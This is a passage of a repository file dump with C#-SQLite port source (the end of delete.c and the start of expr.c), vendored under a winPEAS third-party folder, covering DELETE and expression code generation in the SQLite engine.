u32 Ref_0 = 0;\n        sqlite3CodeRowTrigger( pParse, pTrigger, TK_DELETE, null,\n        TRIGGER_BEFORE, pTab, -1, oldIdx, orconf, addr, ref old_col_mask, ref Ref_0 );\n        iEndBeforeTrigger = sqlite3VdbeAddOp0( v, OP_Goto );\n\n        iBeginAfterTrigger = sqlite3VdbeCurrentAddr( v );\n        Ref_0 = 0;\n        sqlite3CodeRowTrigger( pParse, pTrigger, TK_DELETE, null,\n        TRIGGER_AFTER, pTab, -1, oldIdx, orconf, addr, ref old_col_mask, ref Ref_0 );\n        iEndAfterTrigger = sqlite3VdbeAddOp0( v, OP_Goto );\n\n        sqlite3VdbeJumpHere( v, iGoto );\n      }\n#endif\n\n      /* If we are trying to delete from a view, realize that view into\n** a ephemeral table.\n*/\n#if !(SQLITE_OMIT_VIEW) && !(SQLITE_OMIT_TRIGGER)\n      if ( isView )\n      {\n        sqlite3MaterializeView( pParse, pTab, pWhere, iCur );\n      }\n\n      /* Resolve the column names in the WHERE clause.\n      */\n      sNC = new NameContext();// memset( &sNC, 0, sizeof( sNC ) );\n      sNC.pParse = pParse;\n      sNC.pSrcList = pTabList;\n      if ( sqlite3ResolveExprNames( sNC, ref pWhere ) != 0 )\n      {\n        goto delete_from_cleanup;\n      }\n#endif\n\n      /* Initialize the counter of the number of rows deleted, if\n** we are counting rows.\n*/\n      if ( ( db.flags & SQLITE_CountRows ) != 0 )\n      {\n        memCnt = ++pParse.nMem;\n        sqlite3VdbeAddOp2( v, OP_Integer, 0, memCnt );\n      }\n\n#if !SQLITE_OMIT_TRUNCATE_OPTIMIZATION\n      /* Special case: A DELETE without a WHERE clause deletes everything.\n** It is easier just to erase the whole table.  Note, however, that\n** this means that the row change count will be incorrect.\n*/\n      if ( rcauth == SQLITE_OK && pWhere == null && null == pTrigger && !IsVirtual( pTab ) )\n      {\n        Debug.Assert( !isView );\n        sqlite3VdbeAddOp4( v, OP_Clear, pTab.tnum, iDb, memCnt,\n              pTab.zName, P4_STATIC );\n        for ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext )\n        {\n          Debug.Assert( pIdx.pSchema == pTab.pSchema );\n          sqlite3VdbeAddOp2( v, OP_Clear, pIdx.tnum, iDb );\n        }\n      }\n      else\n#endif //* SQLITE_OMIT_TRUNCATE_OPTIMIZATION */\n      /* The usual case: There is a WHERE clause so we have to scan through\n** the table and pick which records to delete.\n*/\n      {\n        int iRowid = ++pParse.nMem;     /* Used for storing rowid values. */\n        int iRowSet = ++pParse.nMem;    /* Register for rowset of rows to delete */\n        int regRowid;                   /* Actual register containing rowids */\n\n        /* Collect rowids of every row to be deleted.\n        */\n        sqlite3VdbeAddOp2( v, OP_Null, 0, iRowSet );\n        ExprList elDummy = null;\n        pWInfo = sqlite3WhereBegin( pParse, pTabList, pWhere, ref elDummy, WHERE_DUPLICATES_OK );\n        if ( pWInfo == null ) goto delete_from_cleanup;\n        regRowid = sqlite3ExprCodeGetColumn( pParse, pTab, -1, iCur, iRowid, false );\n        sqlite3VdbeAddOp2( v, OP_RowSetAdd, iRowSet, regRowid );\n        if ( ( db.flags & SQLITE_CountRows ) != 0 )\n        {\n          sqlite3VdbeAddOp2( v, OP_AddImm, memCnt, 1 );\n        }\n\n        sqlite3WhereEnd( pWInfo );\n\n        /* Open the pseudo-table used to store OLD if there are triggers.\n        */\n        if ( pTrigger != null )\n        {\n          sqlite3VdbeAddOp3( v, OP_OpenPseudo, oldIdx, 0, pTab.nCol );\n        }\n\n        /* Delete every item whose key was written to the list during the\n        ** database scan.  We have to delete items after the scan is complete\n        ** because deleting an item can change the scan order.\n        */\n        end = sqlite3VdbeMakeLabel( v );\n\n        if ( !isView )\n        {\n          /* Open cursors for the table we are deleting from and\n          ** all its indices.\n          */\n          sqlite3OpenTableAndIndices( pParse, pTab, iCur, OP_OpenWrite );\n        }\n\n        /* This is the beginning of the delete loop. If a trigger encounters\n        ** an IGNORE constraint, it jumps back to here.\n        */\n        if ( pTrigger != null )\n        {\n          sqlite3VdbeResolveLabel( v, addr );\n        }\n        addr = sqlite3VdbeAddOp3( v, OP_RowSetRead, iRowSet, end, iRowid );\n\n        if ( pTrigger != null )\n        {\n          int iData = ++pParse.nMem;   /* For storing row data of OLD table */\n\n          /* If the record is no longer present in the table, jump to the\n          ** next iteration of the loop through the contents of the fifo.\n          */\n          sqlite3VdbeAddOp3( v, OP_NotExists, iCur, addr, iRowid );\n\n          /* Populate the OLD.* pseudo-table */\n          if ( old_col_mask != 0 )\n          {\n            sqlite3VdbeAddOp2( v, OP_RowData, iCur, iData );\n          }\n          else\n          {\n            sqlite3VdbeAddOp2( v, OP_Null, 0, iData );\n          }\n          sqlite3VdbeAddOp3( v, OP_Insert, oldIdx, iData, iRowid );\n\n          /* Jump back and run the BEFORE triggers */\n          sqlite3VdbeAddOp2( v, OP_Goto, 0, iBeginBeforeTrigger );\n          sqlite3VdbeJumpHere( v, iEndBeforeTrigger );\n        }\n\n        if ( !isView )\n        {\n          /* Delete the row */\n#if !SQLITE_OMIT_VIRTUALTABLE\nif( IsVirtual(pTab) ){\nconst char *pVTab = (const char *)sqlite3GetVTable(db, pTab);\nsqlite3VtabMakeWritable(pParse, pTab);\nsqlite3VdbeAddOp4(v, OP_VUpdate, 0, 1, iRowid, pVTab, P4_VTAB);\n}else\n\n#endif\n          {\n            sqlite3GenerateRowDelete( pParse, pTab, iCur, iRowid, pParse.nested == 0 ? 1 : 0 );\n          }\n        }\n\n        /* If there are row triggers, close all cursors then invoke\n        ** the AFTER triggers\n        */\n        if ( pTrigger != null )\n        {\n          /* Jump back and run the AFTER triggers */\n          sqlite3VdbeAddOp2( v, OP_Goto, 0, iBeginAfterTrigger );\n          sqlite3VdbeJumpHere( v, iEndAfterTrigger );\n        }\n\n        /* End of the delete loop */\n        sqlite3VdbeAddOp2( v, OP_Goto, 0, addr );\n        sqlite3VdbeResolveLabel( v, end );\n\n        /* Close the cursors after the loop if there are no row triggers */\n        if ( !isView && !IsVirtual( pTab ) )\n        {\n          for ( i = 1, pIdx = pTab.pIndex ; pIdx != null ; i++, pIdx = pIdx.pNext )\n          {\n            sqlite3VdbeAddOp2( v, OP_Close, iCur + i, pIdx.tnum );\n          }\n          sqlite3VdbeAddOp1( v, OP_Close, iCur );\n        }\n      }\n\n      /* Update the sqlite_sequence table by storing the content of the\n      ** maximum rowid counter values recorded while inserting into\n      ** autoincrement tables.\n      */\n      if ( pParse.nested == 0 && pParse.trigStack == null )\n      {\n        sqlite3AutoincrementEnd( pParse );\n      }\n\n      /*\n      ** Return the number of rows that were deleted. If this routine is\n      ** generating code because of a call to sqlite3NestedParse(), do not\n      ** invoke the callback function.\n      */\n      if ( ( db.flags & SQLITE_CountRows ) != 0 && pParse.nested == 0 && pParse.trigStack == null )\n      {\n        sqlite3VdbeAddOp2( v, OP_ResultRow, memCnt, 1 );\n        sqlite3VdbeSetNumCols( v, 1 );\n        sqlite3VdbeSetColName( v, 0, COLNAME_NAME, \"rows deleted\", SQLITE_STATIC );\n      }\n\ndelete_from_cleanup:\n#if !SQLITE_OMIT_AUTHORIZATION\nsqlite3AuthContextPop(sContext);\n#endif\n      sqlite3SrcListDelete( db, ref pTabList );\n      sqlite3ExprDelete( db, ref pWhere );\n      return;\n    }\n\n    /*\n    ** This routine generates VDBE code that causes a single row of a\n    ** single table to be deleted.\n    **\n    ** The VDBE must be in a particular state when this routine is called.\n    ** These are the requirements:\n    **\n    **   1.  A read/write cursor pointing to pTab, the table containing the row\n    **       to be deleted, must be opened as cursor number \"base\".\n    **\n    **   2.  Read/write cursors for all indices of pTab must be open as\n    **       cursor number base+i for the i-th index.\n    **\n    **   3.  The record number of the row to be deleted must be stored in\n    **       memory cell iRowid.\n    **\n    ** This routine pops the top of the stack to remove the record number\n    ** and then generates code to remove both the table record and all index\n    ** entries that point to that record.\n    */\n    static void sqlite3GenerateRowDelete(\n    Parse pParse,     /* Parsing context */\n    Table pTab,       /* Table containing the row to be deleted */\n    int iCur,          /* VdbeCursor number for the table */\n    int iRowid,        /* Memory cell that contains the rowid to delete */\n    int count          /* Increment the row change counter */\n    )\n    {\n      int addr;\n      Vdbe v;\n\n      v = pParse.pVdbe;\n      addr = sqlite3VdbeAddOp3( v, OP_NotExists, iCur, 0, iRowid );\n      sqlite3GenerateRowIndexDelete( pParse, pTab, iCur, 0 );\n      sqlite3VdbeAddOp2( v, OP_Delete, iCur, ( count > 0 ? (int)OPFLAG_NCHANGE : 0 ) );\n      if ( count > 0 )\n      {\n        sqlite3VdbeChangeP4( v, -1, pTab.zName, P4_STATIC );\n      }\n      sqlite3VdbeJumpHere( v, addr );\n    }\n\n    /*\n    ** This routine generates VDBE code that causes the deletion of all\n    ** index entries associated with a single row of a single table.\n    **\n    ** The VDBE must be in a particular state when this routine is called.\n    ** These are the requirements:\n    **\n    **   1.  A read/write cursor pointing to pTab, the table containing the row\n    **       to be deleted, must be opened as cursor number \"iCur\".\n    **\n    **   2.  Read/write cursors for all indices of pTab must be open as\n    **       cursor number iCur+i for the i-th index.\n    **\n    **   3.  The \"iCur\" cursor must be pointing to the row that is to be\n    **       deleted.\n    */\n    static void sqlite3GenerateRowIndexDelete(\n    Parse pParse,     /* Parsing and code generating context */\n    Table pTab,       /* Table containing the row to be deleted */\n    int iCur,         /* VdbeCursor number for the table */\n    int nothing       /* Only delete if aRegIdx!=0 && aRegIdx[i]>0 */\n    )\n    {\n      int[] aRegIdx = null;\n      sqlite3GenerateRowIndexDelete( pParse, pTab, iCur, aRegIdx );\n    }\n    static void sqlite3GenerateRowIndexDelete(\n    Parse pParse,     /* Parsing and code generating context */\n    Table pTab,       /* Table containing the row to be deleted */\n    int iCur,          /* VdbeCursor number for the table */\n    int[] aRegIdx       /* Only delete if aRegIdx!=0 && aRegIdx[i]>0 */\n    )\n    {\n      int i;\n      Index pIdx;\n      int r1;\n\n      for ( i = 1, pIdx = pTab.pIndex ; pIdx != null ; i++, pIdx = pIdx.pNext )\n      {\n        if ( aRegIdx != null && aRegIdx[i - 1] == 0 ) continue;\n        r1 = sqlite3GenerateIndexKey( pParse, pIdx, iCur, 0, false );\n        sqlite3VdbeAddOp3( pParse.pVdbe, OP_IdxDelete, iCur + i, r1, pIdx.nColumn + 1 );\n      }\n    }\n\n    /*\n    ** Generate code that will assemble an index key and put it in register\n    ** regOut.  The key with be for index pIdx which is an index on pTab.\n    ** iCur is the index of a cursor open on the pTab table and pointing to\n    ** the entry that needs indexing.\n    **\n    ** Return a register number which is the first in a block of\n    ** registers that holds the elements of the index key.  The\n    ** block of registers has already been deallocated by the time\n    ** this routine returns.\n    */\n    static int sqlite3GenerateIndexKey(\n    Parse pParse,     /* Parsing context */\n    Index pIdx,       /* The index for which to generate a key */\n    int iCur,         /* VdbeCursor number for the pIdx.pTable table */\n    int regOut,       /* Write the new index key to this register */\n    bool doMakeRec    /* Run the OP_MakeRecord instruction if true */\n    )\n    {\n      Vdbe v = pParse.pVdbe;\n      int j;\n      Table pTab = pIdx.pTable;\n      int regBase;\n      int nCol;\n\n      nCol = pIdx.nColumn;\n      regBase = sqlite3GetTempRange( pParse, nCol + 1 );\n      sqlite3VdbeAddOp2( v, OP_Rowid, iCur, regBase + nCol );\n      for ( j = 0 ; j < nCol ; j++ )\n      {\n        int idx = pIdx.aiColumn[j];\n        if ( idx == pTab.iPKey )\n        {\n          sqlite3VdbeAddOp2( v, OP_SCopy, regBase + nCol, regBase + j );\n        }\n        else\n        {\n          sqlite3VdbeAddOp3( v, OP_Column, iCur, idx, regBase + j );\n          sqlite3ColumnDefault( v, pTab, idx, -1 );\n        }\n      }\n      if ( doMakeRec )\n      {\n        sqlite3VdbeAddOp3( v, OP_MakeRecord, regBase, nCol + 1, regOut );\n        sqlite3IndexAffinityStr( v, pIdx );\n        sqlite3ExprCacheAffinityChange( pParse, regBase, nCol + 1 );\n      }\n      sqlite3ReleaseTempRange( pParse, regBase, nCol + 1 );\n      return regBase;\n    }\n    /* Make sure \"isView\" gets undefined in case this file becomes part of\n    ** the amalgamation - so that subsequent files do not see isView as a\n    ** macro. */\n    //#undef isView\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/expr_c.cs",
    "content": "#define SQLITE_MAX_EXPR_DEPTH\n\nusing System;\nusing System.Diagnostics;\nusing System.Text;\nusing i64 = System.Int64;\nusing u8 = System.Byte;\nusing u32 = System.UInt32;\nusing u16 = System.UInt16;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2001 September 15\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file contains routines used for analyzing expressions and\n    ** for generating VDBE code that evaluates expressions in SQLite.\n    **\n    ** $Id: expr.c,v 1.448 2009/07/27 10:05:05 danielk1977 Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n\n    /*\n    ** Return the 'affinity' of the expression pExpr if any.\n    **\n    ** If pExpr is a column, a reference to a column via an 'AS' alias,\n    ** or a sub-select with a column as the return value, then the\n    ** affinity of that column is returned. Otherwise, 0x00 is returned,\n    ** indicating no affinity for the expression.\n    **\n    ** i.e. the WHERE clause expresssions in the following statements all\n    ** have an affinity:\n    **\n    ** CREATE TABLE t1(a);\n    ** SELECT * FROM t1 WHERE a;\n    ** SELECT a AS b FROM t1 WHERE b;\n    ** SELECT * FROM t1 WHERE (select a from t1);\n    */\n    static char sqlite3ExprAffinity( Expr pExpr )\n    {\n      int op = pExpr.op;\n      if ( op == TK_SELECT )\n      {\n        Debug.Assert( ( pExpr.flags & EP_xIsSelect ) != 0 );\n        return sqlite3ExprAffinity( pExpr.x.pSelect.pEList.a[0].pExpr );\n      }\n#if !SQLITE_OMIT_CAST\n      if ( op == TK_CAST )\n      {\n        Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) );\n        return sqlite3AffinityType( pExpr.u.zToken );\n      }\n#endif\n      if ( ( op == TK_AGG_COLUMN || op == TK_COLUMN || op == TK_REGISTER )\n      && pExpr.pTab != null\n      )\n      {\n        /* op==TK_REGISTER && pExpr.pTab!=0 happens when pExpr was originally\n        ** a TK_COLUMN but was previously evaluated and cached in a register */\n        int j = pExpr.iColumn;\n        if ( j < 0 ) return SQLITE_AFF_INTEGER;\n        Debug.Assert( pExpr.pTab != null && j < pExpr.pTab.nCol );\n        return pExpr.pTab.aCol[j].affinity;\n      }\n      return pExpr.affinity;\n    }\n\n    /*\n    ** Set the collating sequence for expression pExpr to be the collating\n    ** sequence named by pToken.   Return a pointer to the revised expression.\n    ** The collating sequence is marked as \"explicit\" using the EP_ExpCollate\n    ** flag.  An explicit collating sequence will override implicit\n    ** collating sequences.\n    */\n    static Expr sqlite3ExprSetColl( Parse pParse, Expr pExpr, Token pCollName )\n    {\n      string zColl;            /* Dequoted name of collation sequence */\n      CollSeq pColl;\n      sqlite3 db = pParse.db;\n      zColl = sqlite3NameFromToken( db, pCollName );\n      if ( pExpr != null && zColl != null )\n      {\n        pColl = sqlite3LocateCollSeq( pParse, zColl );\n        if ( pColl != null )\n        {\n          pExpr.pColl = pColl;\n          pExpr.flags |= EP_ExpCollate;\n        }\n      }\n      //sqlite3DbFree( db, ref zColl );\n      return pExpr;\n    }\n\n    /*\n    ** Return the default collation sequence for the expression pExpr. If\n    ** there is no default collation type, return 0.\n    */\n    static CollSeq sqlite3ExprCollSeq( Parse pParse, Expr pExpr )\n    {\n      CollSeq pColl = null;\n      Expr p = pExpr;\n      while ( ALWAYS( p != null ) )\n      {\n        int op;\n        pColl = pExpr.pColl;\n        if (pColl != null ) break;\n        op = p.op;\n        if ( ( op == TK_AGG_COLUMN || op == TK_COLUMN || op == TK_REGISTER ) && p.pTab != null )\n        {\n          /* op==TK_REGISTER && p->pTab!=0 happens when pExpr was originally\n          ** a TK_COLUMN but was previously evaluated and cached in a register */\n          string zColl;\n          int j = p.iColumn;\n          if ( j >= 0 )\n          {\n            sqlite3 db = pParse.db;\n            zColl = p.pTab.aCol[j].zColl;\n            pColl = sqlite3FindCollSeq( db, ENC( db ), zColl, 0 );\n            pExpr.pColl = pColl;\n          }\n          break;\n        }\n        if ( op != TK_CAST && op != TK_UPLUS )\n        {\n          break;\n        }\n        p = p.pLeft;\n      }\n      if ( sqlite3CheckCollSeq( pParse, pColl ) != 0 )\n      {\n        pColl = null;\n      }\n      return pColl;\n    }\n\n    /*\n    ** pExpr is an operand of a comparison operator.  aff2 is the\n    ** type affinity of the other operand.  This routine returns the\n    ** type affinity that should be used for the comparison operator.\n    */\n    static char sqlite3CompareAffinity( Expr pExpr, char aff2 )\n    {\n      char aff1 = sqlite3ExprAffinity( pExpr );\n      if ( aff1 != '\\0' && aff2 != '\\0' )\n      {\n        /* Both sides of the comparison are columns. If one has numeric\n        ** affinity, use that. Otherwise use no affinity.\n        */\n        if ( aff1 >= SQLITE_AFF_NUMERIC || aff2 >= SQLITE_AFF_NUMERIC )\n        //        if (sqlite3IsNumericAffinity(aff1) || sqlite3IsNumericAffinity(aff2))\n        {\n          return SQLITE_AFF_NUMERIC;\n        }\n        else\n        {\n          return SQLITE_AFF_NONE;\n        }\n      }\n      else if ( aff1 == '\\0' && aff2 == '\\0' )\n      {\n        /* Neither side of the comparison is a column.  Compare the\n        ** results directly.\n        */\n        return SQLITE_AFF_NONE;\n      }\n      else\n      {\n        /* One side is a column, the other is not. Use the columns affinity. */\n        Debug.Assert( aff1 == 0 || aff2 == 0 );\n        return ( aff1 != '\\0' ? aff1 : aff2 );\n      }\n    }\n\n    /*\n    ** pExpr is a comparison operator.  Return the type affinity that should\n    ** be applied to both operands prior to doing the comparison.\n    */\n    static char comparisonAffinity( Expr pExpr )\n    {\n      char aff;\n      Debug.Assert( pExpr.op == TK_EQ || pExpr.op == TK_IN || pExpr.op == TK_LT ||\n      pExpr.op == TK_GT || pExpr.op == TK_GE || pExpr.op == TK_LE ||\n      pExpr.op == TK_NE );\n      Debug.Assert( pExpr.pLeft != null );\n      aff = sqlite3ExprAffinity( pExpr.pLeft );\n      if ( pExpr.pRight != null )\n      {\n        aff = sqlite3CompareAffinity( pExpr.pRight, aff );\n      }\n      else if ( ExprHasProperty( pExpr, EP_xIsSelect ) )\n      {\n        aff = sqlite3CompareAffinity( pExpr.x.pSelect.pEList.a[0].pExpr, aff );\n      }\n      else if ( aff == '\\0' )\n      {\n        aff = SQLITE_AFF_NONE;\n      }\n      return aff;\n    }\n\n    /*\n    ** pExpr is a comparison expression, eg. '=', '<', IN(...) etc.\n    ** idx_affinity is the affinity of an indexed column. Return true\n    ** if the index with affinity idx_affinity may be used to implement\n    ** the comparison in pExpr.\n    */\n    static bool sqlite3IndexAffinityOk( Expr pExpr, char idx_affinity )\n    {\n      char aff = comparisonAffinity( pExpr );\n      switch ( aff )\n      {\n        case SQLITE_AFF_NONE:\n          return true;\n        case SQLITE_AFF_TEXT:\n          return idx_affinity == SQLITE_AFF_TEXT;\n        default:\n          return idx_affinity >= SQLITE_AFF_NUMERIC;// sqlite3IsNumericAffinity(idx_affinity);\n      }\n    }\n\n    /*\n    ** Return the P5 value that should be used for a binary comparison\n    ** opcode (OP_Eq, OP_Ge etc.) used to compare pExpr1 and pExpr2.\n    */\n    static u8 binaryCompareP5( Expr pExpr1, Expr pExpr2, int jumpIfNull )\n    {\n      u8 aff = (u8)sqlite3ExprAffinity( pExpr2 );\n      aff = (u8)( (u8)sqlite3CompareAffinity( pExpr1, (char)aff ) | (u8)jumpIfNull );\n      return aff;\n    }\n\n    /*\n    ** Return a pointer to the collation sequence that should be used by\n    ** a binary comparison operator comparing pLeft and pRight.\n    **\n    ** If the left hand expression has a collating sequence type, then it is\n    ** used. Otherwise the collation sequence for the right hand expression\n    ** is used, or the default (BINARY) if neither expression has a collating\n    ** type.\n    **\n    ** Argument pRight (but not pLeft) may be a null pointer. In this case,\n    ** it is not considered.\n    */\n    static CollSeq sqlite3BinaryCompareCollSeq(\n    Parse pParse,\n    Expr pLeft,\n    Expr pRight\n    )\n    {\n      CollSeq pColl;\n      Debug.Assert( pLeft != null );\n      if ( ( pLeft.flags & EP_ExpCollate ) != 0 )\n      {\n        Debug.Assert( pLeft.pColl != null );\n        pColl = pLeft.pColl;\n      }\n      else if ( pRight != null && ( ( pRight.flags & EP_ExpCollate ) != 0 ) )\n      {\n        Debug.Assert( pRight.pColl != null );\n        pColl = pRight.pColl;\n      }\n      else\n      {\n        pColl = sqlite3ExprCollSeq( pParse, pLeft );\n        if ( pColl == null )\n        {\n          pColl = sqlite3ExprCollSeq( pParse, pRight );\n        }\n      }\n      return pColl;\n    }\n\n    /*\n    ** Generate the operands for a comparison operation.  Before\n    ** generating the code for each operand, set the EP_AnyAff\n    ** flag on the expression so that it will be able to used a\n    ** cached column value that has previously undergone an\n    ** affinity change.\n    */\n    static void codeCompareOperands(\n    Parse pParse,        /* Parsing and code generating context */\n    Expr pLeft,          /* The left operand */\n    ref int pRegLeft,    /* Register where left operand is stored */\n    ref int pFreeLeft,   /* Free this register when done */\n    Expr pRight,         /* The right operand */\n    ref int pRegRight,   /* Register where right operand is stored */\n    ref int pFreeRight   /* Write temp register for right operand there */\n    )\n    {\n\n      while ( pLeft.op == TK_UPLUS ) pLeft = pLeft.pLeft;\n      pLeft.flags |= EP_AnyAff;\n      pRegLeft = sqlite3ExprCodeTemp( pParse, pLeft, ref pFreeLeft );\n      while ( pRight.op == TK_UPLUS ) pRight = pRight.pLeft;\n      pRight.flags |= EP_AnyAff;\n      pRegRight = sqlite3ExprCodeTemp( pParse, pRight, ref pFreeRight );\n    }\n\n    /*\n    ** Generate code for a comparison operator.\n    */\n    static int codeCompare(\n    Parse pParse,    /* The parsing (and code generating) context */\n    Expr pLeft,      /* The left operand */\n    Expr pRight,     /* The right operand */\n    int opcode,       /* The comparison opcode */\n    int in1, int in2, /* Register holding operands */\n    int dest,         /* Jump here if true.  */\n    int jumpIfNull    /* If true, jump if either operand is NULL */\n    )\n    {\n      int p5;\n      int addr;\n      CollSeq p4;\n\n      p4 = sqlite3BinaryCompareCollSeq( pParse, pLeft, pRight );\n      p5 = binaryCompareP5( pLeft, pRight, jumpIfNull );\n      addr = sqlite3VdbeAddOp4( pParse.pVdbe, opcode, in2, dest, in1,\n      p4, P4_COLLSEQ );\n      sqlite3VdbeChangeP5( pParse.pVdbe, (u8)p5 );\n      if ( ( p5 & SQLITE_AFF_MASK ) != SQLITE_AFF_NONE )\n      {\n        sqlite3ExprCacheAffinityChange( pParse, in1, 1 );\n        sqlite3ExprCacheAffinityChange( pParse, in2, 1 );\n      }\n      return addr;\n    }\n\n#if SQLITE_MAX_EXPR_DEPTH //>0\n    /*\n** Check that argument nHeight is less than or equal to the maximum\n** expression depth allowed. If it is not, leave an error message in\n** pParse.\n*/\n    static int sqlite3ExprCheckHeight( Parse pParse, int nHeight )\n    {\n      int rc = SQLITE_OK;\n      int mxHeight = pParse.db.aLimit[SQLITE_LIMIT_EXPR_DEPTH];\n      if ( nHeight > mxHeight )\n      {\n        sqlite3ErrorMsg( pParse,\n        \"Expression tree is too large (maximum depth %d)\", mxHeight\n        );\n        rc = SQLITE_ERROR;\n      }\n      return rc;\n    }\n\n    /* The following three functions, heightOfExpr(), heightOfExprList()\n    ** and heightOfSelect(), are used to determine the maximum height\n    ** of any expression tree referenced by the structure passed as the\n    ** first argument.\n    **\n    ** If this maximum height is greater than the current value pointed\n    ** to by pnHeight, the second parameter, then set pnHeight to that\n    ** value.\n    */\n    static void heightOfExpr( Expr p, ref int pnHeight )\n    {\n      if ( p != null )\n      {\n        if ( p.nHeight > pnHeight )\n        {\n          pnHeight = p.nHeight;\n        }\n      }\n    }\n    static void heightOfExprList( ExprList p, ref int pnHeight )\n    {\n      if ( p != null )\n      {\n        int i;\n        for ( i = 0 ; i < p.nExpr ; i++ )\n        {\n          heightOfExpr( p.a[i].pExpr, ref pnHeight );\n        }\n      }\n    }\n    static void heightOfSelect( Select p, ref int pnHeight )\n    {\n      if ( p != null )\n      {\n        heightOfExpr( p.pWhere, ref  pnHeight );\n        heightOfExpr( p.pHaving, ref  pnHeight );\n        heightOfExpr( p.pLimit, ref  pnHeight );\n        heightOfExpr( p.pOffset, ref  pnHeight );\n        heightOfExprList( p.pEList, ref pnHeight );\n        heightOfExprList( p.pGroupBy, ref pnHeight );\n        heightOfExprList( p.pOrderBy, ref  pnHeight );\n        heightOfSelect( p.pPrior, ref  pnHeight );\n      }\n    }\n\n    /*\n    ** Set the Expr.nHeight variable in the structure passed as an\n    ** argument. An expression with no children, Expr.x.pList or\n    ** Expr.x.pSelect member has a height of 1. Any other expression\n    ** has a height equal to the maximum height of any other\n    ** referenced Expr plus one.\n    */\n    static void exprSetHeight( Expr p )\n    {\n      int nHeight = 0;\n      heightOfExpr( p.pLeft, ref nHeight );\n      heightOfExpr( p.pRight, ref nHeight );\n      if ( ExprHasProperty( p, EP_xIsSelect ) )\n      {\n        heightOfSelect( p.x.pSelect, ref nHeight );\n      }\n      else\n      {\n        heightOfExprList( p.x.pList, ref nHeight );\n      }\n      p.nHeight = nHeight + 1;\n    }\n\n    /*\n    ** Set the Expr.nHeight variable using the exprSetHeight() function. If\n    ** the height is greater than the maximum allowed expression depth,\n    ** leave an error in pParse.\n    */\n    static void sqlite3ExprSetHeight( Parse pParse, Expr p )\n    {\n      exprSetHeight( p );\n      sqlite3ExprCheckHeight( pParse, p.nHeight );\n    }\n\n    /*\n    ** Return the maximum height of any expression tree referenced\n    ** by the select statement passed as an argument.\n    */\n    static int sqlite3SelectExprHeight( Select p )\n    {\n      int nHeight = 0;\n      heightOfSelect( p, ref nHeight );\n      return nHeight;\n    }\n#else\n//#define exprSetHeight(y)\n#endif //* SQLITE_MAX_EXPR_DEPTH>0 */\n\n    /*\n** This routine is the core allocator for Expr nodes.\n**\n** Construct a new expression node and return a pointer to it.  Memory\n** for this node and for the pToken argument is a single allocation\n** obtained from sqlite3DbMalloc().  The calling function\n** is responsible for making sure the node eventually gets freed.\n**\n** If dequote is true, then the token (if it exists) is dequoted.\n** If dequote is false, no dequoting is performance.  The deQuote\n** parameter is ignored if pToken is NULL or if the token does not\n** appear to be quoted.  If the quotes were of the form \"...\" (double-quotes)\n** then the EP_DblQuoted flag is set on the expression node.\n**\n** Special case:  If op==TK_INTEGER and pToken points to a string that\n** can be translated into a 32-bit integer, then the token is not\n** stored in u.zToken.  Instead, the integer values is written\n** into u.iValue and the EP_IntValue flag is set.  No extra storage\n** is allocated to hold the integer text and the dequote flag is ignored.\n*/\n    static Expr sqlite3ExprAlloc(\n    sqlite3 db,           /* Handle for sqlite3DbMallocZero() (may be null) */\n    int op,               /* Expression opcode */\n    Token pToken,         /* Token argument.  Might be NULL */\n    int dequote           /* True to dequote */\n    )\n    {\n      Expr pNew;\n      int nExtra = 0;\n      int iValue = 0;\n\n      if ( pToken != null )\n      {\n        if ( op != TK_INTEGER || pToken.z == null || pToken.z.Length == 0\n        || sqlite3GetInt32( pToken.z.ToString(), ref iValue ) == false )\n        {\n          nExtra = pToken.n + 1;\n        }\n      }\n      pNew = new Expr();//sqlite3DbMallocZero(db, sizeof(Expr)+nExtra);\n      if ( pNew != null )\n      {\n        pNew.op = (u8)op;\n        pNew.iAgg = -1;\n        if ( pToken != null )\n        {\n          if ( nExtra == 0 )\n          {\n            pNew.flags |= EP_IntValue;\n            pNew.u.iValue = iValue;\n          }\n          else\n          {\n            int c;\n            //pNew.u.zToken = (char*)&pNew[1];\n            if ( pToken.n > 0 ) pNew.u.zToken = pToken.z.Substring( 0, pToken.n );//memcpy(pNew.u.zToken, pToken.z, pToken.n);\n            //pNew.u.zToken[pToken.n] = 0;\n            if ( dequote != 0 && nExtra >= 3\n            && ( ( c = pToken.z[0] ) == '\\'' || c == '\"' || c == '[' || c == '`' ) )\n            {\n#if DEBUG_CLASS_EXPR || DEBUG_CLASS_ALL\nsqlite3Dequote(ref pNew.u._zToken);\n#else\n              sqlite3Dequote( ref pNew.u.zToken );\n#endif\n              if ( c == '\"' ) pNew.flags |= EP_DblQuoted;\n            }\n          }\n        }\n#if SQLITE_MAX_EXPR_DEPTH//>0\n        pNew.nHeight = 1;\n#endif\n      }\n      return pNew;\n    }\n\n    /*\n    ** Allocate a new expression node from a zero-terminated token that has\n    ** already been dequoted.\n    */\n    static Expr sqlite3Expr(\n    sqlite3 db,           /* Handle for sqlite3DbMallocZero() (may be null) */\n    int op,               /* Expression opcode */\n    string zToken         /* Token argument.  Might be NULL */\n    )\n    {\n      Token x = new Token();\n      x.z = zToken;\n      x.n = !String.IsNullOrEmpty( zToken ) ? sqlite3Strlen30( zToken ) : 0;\n      return sqlite3ExprAlloc( db, op, x, 0 );\n    }\n\n    /*\n    ** Attach subtrees pLeft and pRight to the Expr node pRoot.\n    **\n    ** If pRoot==NULL that means that a memory allocation error has occurred.\n    ** In that case, delete the subtrees pLeft and pRight.\n    */\n    static void sqlite3ExprAttachSubtrees(\n    sqlite3 db,\n    Expr pRoot,\n    Expr pLeft,\n    Expr pRight\n    )\n    {\n      if ( pRoot == null )\n      {\n        //Debug.Assert( db.mallocFailed != 0 );\n        sqlite3ExprDelete( db, ref pLeft );\n        sqlite3ExprDelete( db, ref pRight );\n      }\n      else\n      {\n        if ( pRight != null )\n        {\n          pRoot.pRight = pRight;\n          